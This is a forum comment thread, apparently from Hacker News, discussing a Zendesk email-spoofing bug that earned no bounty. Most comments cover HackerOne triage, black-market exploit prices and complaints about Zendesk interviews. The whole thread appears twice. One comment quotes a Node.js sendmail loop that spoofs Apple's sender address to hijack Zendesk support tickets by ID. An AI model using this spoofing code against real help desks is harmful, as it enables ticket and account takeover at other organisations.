8 ms·

It sounds like the author got stiffed by Zendesk on this bug, $0 due to email spoofing being out of scope. The $50k was from other bug bounties he was awarded

by bsuvc 2y ago

It sounds like the author got stiffed by Zendesk on this bug, $0 due to email spoofing being out of scope. The $50k was from other bug bounties he was awarded on hackerone. It's too bad Zendesk basically said "thanks" but then refused to pay anything. That's a good way to get people not to bother with your big bounty program. It is often better to build goodwill than to be a stickler for rules and technicalities. Side note: I'm not too surprised, as I had one of the worst experiences ever interviewing with Zendesk a few years back. I have never come away from an interview hating a company, except for Zendesk.

paulpauper 2y ago
That is why a black market exists for this stuff.
- c0balt 2y ago
  The black market also exists because the potential payout for serious 0days by official programs is almost always less than what a third-party adversary will pay (if the target(s) for them are worth it).
  - omoikane 2y ago
    The price for 0days is highly variable according to this presentation (starting slide 65): https://github.com/mdowd79/presentations/blob/main/bluehat2023-mdowd-final.pdf https://github.com/mdowd79/presentations/blob/main/bluehat20... The same presentation also mentions (starting slide 17) how the requirements of 0days differs from public research, which is why some vulnerabilities would be difficult to sell.
  - eastbound 2y ago
    This. Fortunately the law makes it that it’s inconvenient (possible prison time) to use the black market, which is a big thumb on the balance, but bug bounties are also often only $3000…
    - yieldcrv 2y ago
      Which law makes it a criminal sanction to use a black market like darknet marketplaces Software Exploits arent considered arms it is information that can be sold, the liability is on the person that does the unauthorized access, the person that steals data, the person that uses the data Hacking syndicates distribute liability akin to any corporation
      - saagarjha 2y ago
        CFAA?
        yieldcrv 2y ago
        which puts the liability on the person that does the unauthorized access not about else and especially not for merely browsing or using or buying a legal good from a dark net market as I wrote
        r-w 2y ago
        Accessory?
        yieldcrv 2y ago
        Relies on intent of the seller, who would need to be found via a valid subpoena that needs to pass a threshold of cause who would then argue they also sold it to security researchers, journalists and assumed everyone was or didnt discriminate or have any intent at all
        saagarjha 2y ago
        That’s not how this works.
        yieldcrv 2y ago
        How does it work, I didnt get another answer from an LLM which pretty much never respond without elaborating
exceptione 2y ago
If I am not mistaken, it wasn't zendesk that didn't want to recognize the bug, but HackerOne that did not escalate to Zendesk that they should reconsider the exclusion ground in this case. As an aside, I wonder if those bounties in general reflect the real value of those bugs. The economic damage could be way higher, given that people share logins in support tickets. I would have expected that the price on the black market for these kind of bugs are several figures larger.
- richbell 2y ago
  > If I am not mistaken, it wasn't zendesk that didn't want to recognize the bug, but HackerOne that did not escalate to Zendesk that they should reconsider the exclusion ground in this case. Correct, the replies seem to have come from H1 triage and H1 mediation staff. They often miss the mark like this. I opened a H1 account to report that I'd found privileged access tokens for a company's GitHub org. H1 triage refused to notify the company because they didn't think it was a security issue and ignored my messages.
- deleted 2y ago
  [deleted]
- chabons 2y ago
  The author specifically stated: "Realizing this, I asked for the report to be forwarded to an actual Zendesk staff member for review", before getting another reply for H1. I read this as they escalated it to Zendesk directly, who directed it back to HackerOne.
  - radlad 2y ago
    It wasn't clear to me as even at that point it was an "H1 Mediator" who responded. Also the bit about SPF, DKIM and DMARC seems to show a misunderstanding of the issue: these are typically excluded because large companies aren't able to do full enforcement on their email domains due to legacy. It's a common bug report. In this case, the problem was that Zendesk wasn't validating emails from external systems.
renewiltord 2y ago
> $0 due to email spoofing being out of scope. Strictly, $0 because he disclosed to customers. But he only disclosed to customers since Zendesk said it was out of scope.
- jeroenhd 2y ago
  HackerOne declared the issue out of scope so I don't see why disclosure would make a difference here. Had this person not notified different companies, they still wouldn't get a dime from HackerOne. Bad showings all around, for both HackerOne and Zendesk.
  - mmsc 2y ago
    >HackerOne declared the issue out of scope so I don't see why disclosure would make a difference here. Indeed, but just you wait for Zendesk to say "well, _we_ didn't mark it out of scope!" as if delegating it to h1 renegades all responsibility.
    - justusthane 2y ago
      They did, though. The post also quotes a response from Zendesk declaring it out of scope.
  - cjbprime 2y ago
    (There's a not-very-convincing argument that they declared the ability to view support tickets as out of scope, but were not given a chance to assess the Slack takeover exploit's scope.)
    - nodamage 2y ago
      The Slack takeover exploit is a problem on Slack's end (and sounds more like a configuration issue than a bug) so Zendesk would not be responsible for that anyway though.
      - 2y ago
gouggoug 2y ago
> Side note: I'm not too surprised, as I had one of the worst experiences ever interviewing with Zendesk a few years back. I have never come away from an interview hating a company, except for Zendesk. Same thing happened to me years ago. Interviewed with them and it was the worst “screening” experience I ever had. After getting a rejection email, I thanked them for their time and said I had feedback about the interview should they want to hear it. They said yes, please. Sent my feedback, never heard from them again.
swoorup 2y ago
Same it was time-wasting interview experience. They seem interested and not interested at the same time. They pinged me for a different role after passing me up for the first role, but didn't get any response later..
layer8 2y ago
> due to email spoofing being out of scope. I believe their logic was that only the domain owner can adequately prevent email spoofing by proper SPF/DMARC configuration, and that it’s the customers’ fault if they don’t do that. Which isn’t entirely wrong.
- deleted 2y ago
  [deleted]
- radlad 2y ago
  Are Google and Apple not doing proper SPF/DMARC/DKIM? I think they probably are - but this attack worked anyway. Zendesk wasn't validating the email senders.
  - deleted 2y ago
    [deleted]
  - layer8 2y ago
    Apple and Google weren’t involved as email sender addresses.
    - radlad 2y ago
      Read the repro steps again: > Create an Apple account with support@company.com email and request a verification code, Apple sends verification code from appleid@id.apple.com to support@company.com and Zendesk automatically creates a ticket It's a clever attack.
      - Thorrez 2y ago
        I agree with your point, but that email's not the best example because it would have passed SPF/DMARC/DKIM. It's a step or two later that involved sending a spoofed email from appleid@id.apple.com : const sendmail = require('sendmail')(); // Assuming the ticket you created in step #2 was assigned a ticket ID of #453 // verification email landed somewhere near there const range = [448, 457]; for (let i = range[0]; i < range[1]; i++) { // Send spoofed emails from Apple to Zendesk sendmail({ from: 'appleid@id.apple.com', to: `support+id${i}@company.com`, cc: 'daniel@wearehackerone.com', subject: '', html: 'comment body', }, function (err, reply) { console.log(err && err.stack) console.dir(reply) }); };
belter 2y ago
Seems a pattern: https://www.reddit.com/r/sales/comments/1eck30a/terrible_zendesk_interview/ https://www.reddit.com/r/sales/comments/1eck30a/terrible_zen...
pm90 2y ago
I too had the worst interview experience with zendesk. The people I talked to were pretty senior folks too. They just seem to have a very petty and toxic work culture.
barbs 2y ago
Mind giving details abut the interview? Must've been pretty bad!
bigiain 2y ago
> That's a good way to get people not to bother with your big bounty program. And possibly to have blackhats to start looking more closely, since they now know both 1) that whitehats are likely to be focusing elsewhere leaving more available un-reviewed attack surface, and 2) that Zendesk appears to be the sort of company who'll ignore and/or hide known vulnerabilities, giving exploits a much longer effective working time. If "the bad guys" discovered this (or if it had been discovered by a less ethically developed 15 year old who'd boasted about it in some Discord or hacker channel) I wonder just how many companies would have had interlopers in their Slack channels harvesting social engineering intelligence or even passwords/secrets/API keys freely shared in Slack channels? And I wonder how many other widely (or even narrowly) used 3rd party SaaS platforms can be exploited via Zendesk in exactly the same way. Pretty much any service that uses the email domain to "prove" someone works for a particular company and then grants them some level of access based on that would be vulnerable to having ZenDesk leak email confirmations to anybody who knows this bug. Hell, I suspect it'd work to harvest password reset tokens too. That could give you account takeover for anything not using 2FA (which is, to a first approximation over the whole internet, everything).
Avamander 2y ago
This is a common problem with HackerOne and the likes. It's absolutely awful for anything even a tiny bit more unique or rare.
- portaouflop 2y ago
  Blame beg bounty hunters for this
  - Avamander 2y ago
    Beg bounty hunters are not to blame for utterly abysmal responses by these platforms. Especially after they ghost the researcher and then moan about publication. Proper response would be to update your program to triage these vulns and thank the researcher for not going public straight away. This current approach is burning a tremendous amount of goodwill.
    - portaouflop 2y ago
      You can’t triage them yourself is the point because you get two dozen bogus beg bounty’s each day - this is a full time job! So you need such a platform, etc.pp.

by bsuvc 2y ago

paulpauper 2y ago

That is why a black market exists for this stuff.

c0balt 2y ago
The black market also exists because the potential payout for serious 0days by official programs is almost always less than what a third-party adversary will pay (if the target(s) for them are worth it).
- omoikane 2y ago
  The price for 0days is highly variable according to this presentation (starting slide 65): https://github.com/mdowd79/presentations/blob/main/bluehat2023-mdowd-final.pdf https://github.com/mdowd79/presentations/blob/main/bluehat20... The same presentation also mentions (starting slide 17) how the requirements of 0days differs from public research, which is why some vulnerabilities would be difficult to sell.
- eastbound 2y ago
  This. Fortunately the law makes it that it’s inconvenient (possible prison time) to use the black market, which is a big thumb on the balance, but bug bounties are also often only $3000…
  - yieldcrv 2y ago
    Which law makes it a criminal sanction to use a black market like darknet marketplaces Software Exploits arent considered arms it is information that can be sold, the liability is on the person that does the unauthorized access, the person that steals data, the person that uses the data Hacking syndicates distribute liability akin to any corporation
    - saagarjha 2y ago
      CFAA?
      - yieldcrv 2y ago
        which puts the liability on the person that does the unauthorized access not about else and especially not for merely browsing or using or buying a legal good from a dark net market as I wrote
        r-w 2y ago
        Accessory?
        yieldcrv 2y ago
        Relies on intent of the seller, who would need to be found via a valid subpoena that needs to pass a threshold of cause who would then argue they also sold it to security researchers, journalists and assumed everyone was or didnt discriminate or have any intent at all
        saagarjha 2y ago
        That’s not how this works.
        yieldcrv 2y ago
        How does it work, I didnt get another answer from an LLM which pretty much never respond without elaborating

exceptione 2y ago

If I am not mistaken, it wasn't zendesk that didn't want to recognize the bug, but HackerOne that did not escalate to Zendesk that they should reconsider the exclusion ground in this case. As an aside, I wonder if those bounties in general reflect the real value of those bugs. The economic damage could be way higher, given that people share logins in support tickets. I would have expected that the price on the black market for these kind of bugs are several figures larger.

richbell 2y ago
> If I am not mistaken, it wasn't zendesk that didn't want to recognize the bug, but HackerOne that did not escalate to Zendesk that they should reconsider the exclusion ground in this case. Correct, the replies seem to have come from H1 triage and H1 mediation staff. They often miss the mark like this. I opened a H1 account to report that I'd found privileged access tokens for a company's GitHub org. H1 triage refused to notify the company because they didn't think it was a security issue and ignored my messages.
deleted 2y ago
[deleted]
chabons 2y ago
The author specifically stated: "Realizing this, I asked for the report to be forwarded to an actual Zendesk staff member for review", before getting another reply for H1. I read this as they escalated it to Zendesk directly, who directed it back to HackerOne.
- radlad 2y ago
  It wasn't clear to me as even at that point it was an "H1 Mediator" who responded. Also the bit about SPF, DKIM and DMARC seems to show a misunderstanding of the issue: these are typically excluded because large companies aren't able to do full enforcement on their email domains due to legacy. It's a common bug report. In this case, the problem was that Zendesk wasn't validating emails from external systems.

renewiltord 2y ago

> $0 due to email spoofing being out of scope. Strictly, $0 because he disclosed to customers. But he only disclosed to customers since Zendesk said it was out of scope.

jeroenhd 2y ago
HackerOne declared the issue out of scope so I don't see why disclosure would make a difference here. Had this person not notified different companies, they still wouldn't get a dime from HackerOne. Bad showings all around, for both HackerOne and Zendesk.
- mmsc 2y ago
  >HackerOne declared the issue out of scope so I don't see why disclosure would make a difference here. Indeed, but just you wait for Zendesk to say "well, _we_ didn't mark it out of scope!" as if delegating it to h1 renegades all responsibility.
  - justusthane 2y ago
    They did, though. The post also quotes a response from Zendesk declaring it out of scope.
- cjbprime 2y ago
  (There's a not-very-convincing argument that they declared the ability to view support tickets as out of scope, but were not given a chance to assess the Slack takeover exploit's scope.)
  - nodamage 2y ago
    The Slack takeover exploit is a problem on Slack's end (and sounds more like a configuration issue than a bug) so Zendesk would not be responsible for that anyway though.
    - 2y ago

gouggoug 2y ago

> Side note: I'm not too surprised, as I had one of the worst experiences ever interviewing with Zendesk a few years back. I have never come away from an interview hating a company, except for Zendesk. Same thing happened to me years ago. Interviewed with them and it was the worst “screening” experience I ever had. After getting a rejection email, I thanked them for their time and said I had feedback about the interview should they want to hear it. They said yes, please. Sent my feedback, never heard from them again.

swoorup 2y ago

Same it was time-wasting interview experience. They seem interested and not interested at the same time. They pinged me for a different role after passing me up for the first role, but didn't get any response later..

layer8 2y ago

> due to email spoofing being out of scope. I believe their logic was that only the domain owner can adequately prevent email spoofing by proper SPF/DMARC configuration, and that it’s the customers’ fault if they don’t do that. Which isn’t entirely wrong.

deleted 2y ago
[deleted]
radlad 2y ago
Are Google and Apple not doing proper SPF/DMARC/DKIM? I think they probably are - but this attack worked anyway. Zendesk wasn't validating the email senders.
- deleted 2y ago
  [deleted]
- layer8 2y ago
  Apple and Google weren’t involved as email sender addresses.
  - radlad 2y ago
    Read the repro steps again: > Create an Apple account with support@company.com email and request a verification code, Apple sends verification code from appleid@id.apple.com to support@company.com and Zendesk automatically creates a ticket It's a clever attack.
    - Thorrez 2y ago
      I agree with your point, but that email's not the best example because it would have passed SPF/DMARC/DKIM. It's a step or two later that involved sending a spoofed email from appleid@id.apple.com : const sendmail = require('sendmail')(); // Assuming the ticket you created in step #2 was assigned a ticket ID of #453 // verification email landed somewhere near there const range = [448, 457]; for (let i = range[0]; i < range[1]; i++) { // Send spoofed emails from Apple to Zendesk sendmail({ from: 'appleid@id.apple.com', to: `support+id${i}@company.com`, cc: 'daniel@wearehackerone.com', subject: '', html: 'comment body', }, function (err, reply) { console.log(err && err.stack) console.dir(reply) }); };

belter 2y ago

Seems a pattern: https://www.reddit.com/r/sales/comments/1eck30a/terrible_zendesk_interview/ https://www.reddit.com/r/sales/comments/1eck30a/terrible_zen...

pm90 2y ago

I too had the worst interview experience with zendesk. The people I talked to were pretty senior folks too. They just seem to have a very petty and toxic work culture.

barbs 2y ago

Mind giving details abut the interview? Must've been pretty bad!

bigiain 2y ago

> That's a good way to get people not to bother with your big bounty program. And possibly to have blackhats to start looking more closely, since they now know both 1) that whitehats are likely to be focusing elsewhere leaving more available un-reviewed attack surface, and 2) that Zendesk appears to be the sort of company who'll ignore and/or hide known vulnerabilities, giving exploits a much longer effective working time. If "the bad guys" discovered this (or if it had been discovered by a less ethically developed 15 year old who'd boasted about it in some Discord or hacker channel) I wonder just how many companies would have had interlopers in their Slack channels harvesting social engineering intelligence or even passwords/secrets/API keys freely shared in Slack channels? And I wonder how many other widely (or even narrowly) used 3rd party SaaS platforms can be exploited via Zendesk in exactly the same way. Pretty much any service that uses the email domain to "prove" someone works for a particular company and then grants them some level of access based on that would be vulnerable to having ZenDesk leak email confirmations to anybody who knows this bug. Hell, I suspect it'd work to harvest password reset tokens too. That could give you account takeover for anything not using 2FA (which is, to a first approximation over the whole internet, everything).

Avamander 2y ago

This is a common problem with HackerOne and the likes. It's absolutely awful for anything even a tiny bit more unique or rare.

portaouflop 2y ago
Blame beg bounty hunters for this
- Avamander 2y ago
  Beg bounty hunters are not to blame for utterly abysmal responses by these platforms. Especially after they ghost the researcher and then moan about publication. Proper response would be to update your program to triage these vulns and thank the researcher for not going public straight away. This current approach is burning a tremendous amount of goodwill.
  - portaouflop 2y ago
    You can’t triage them yourself is the point because you get two dozen bogus beg bounty’s each day - this is a full time job! So you need such a platform, etc.pp.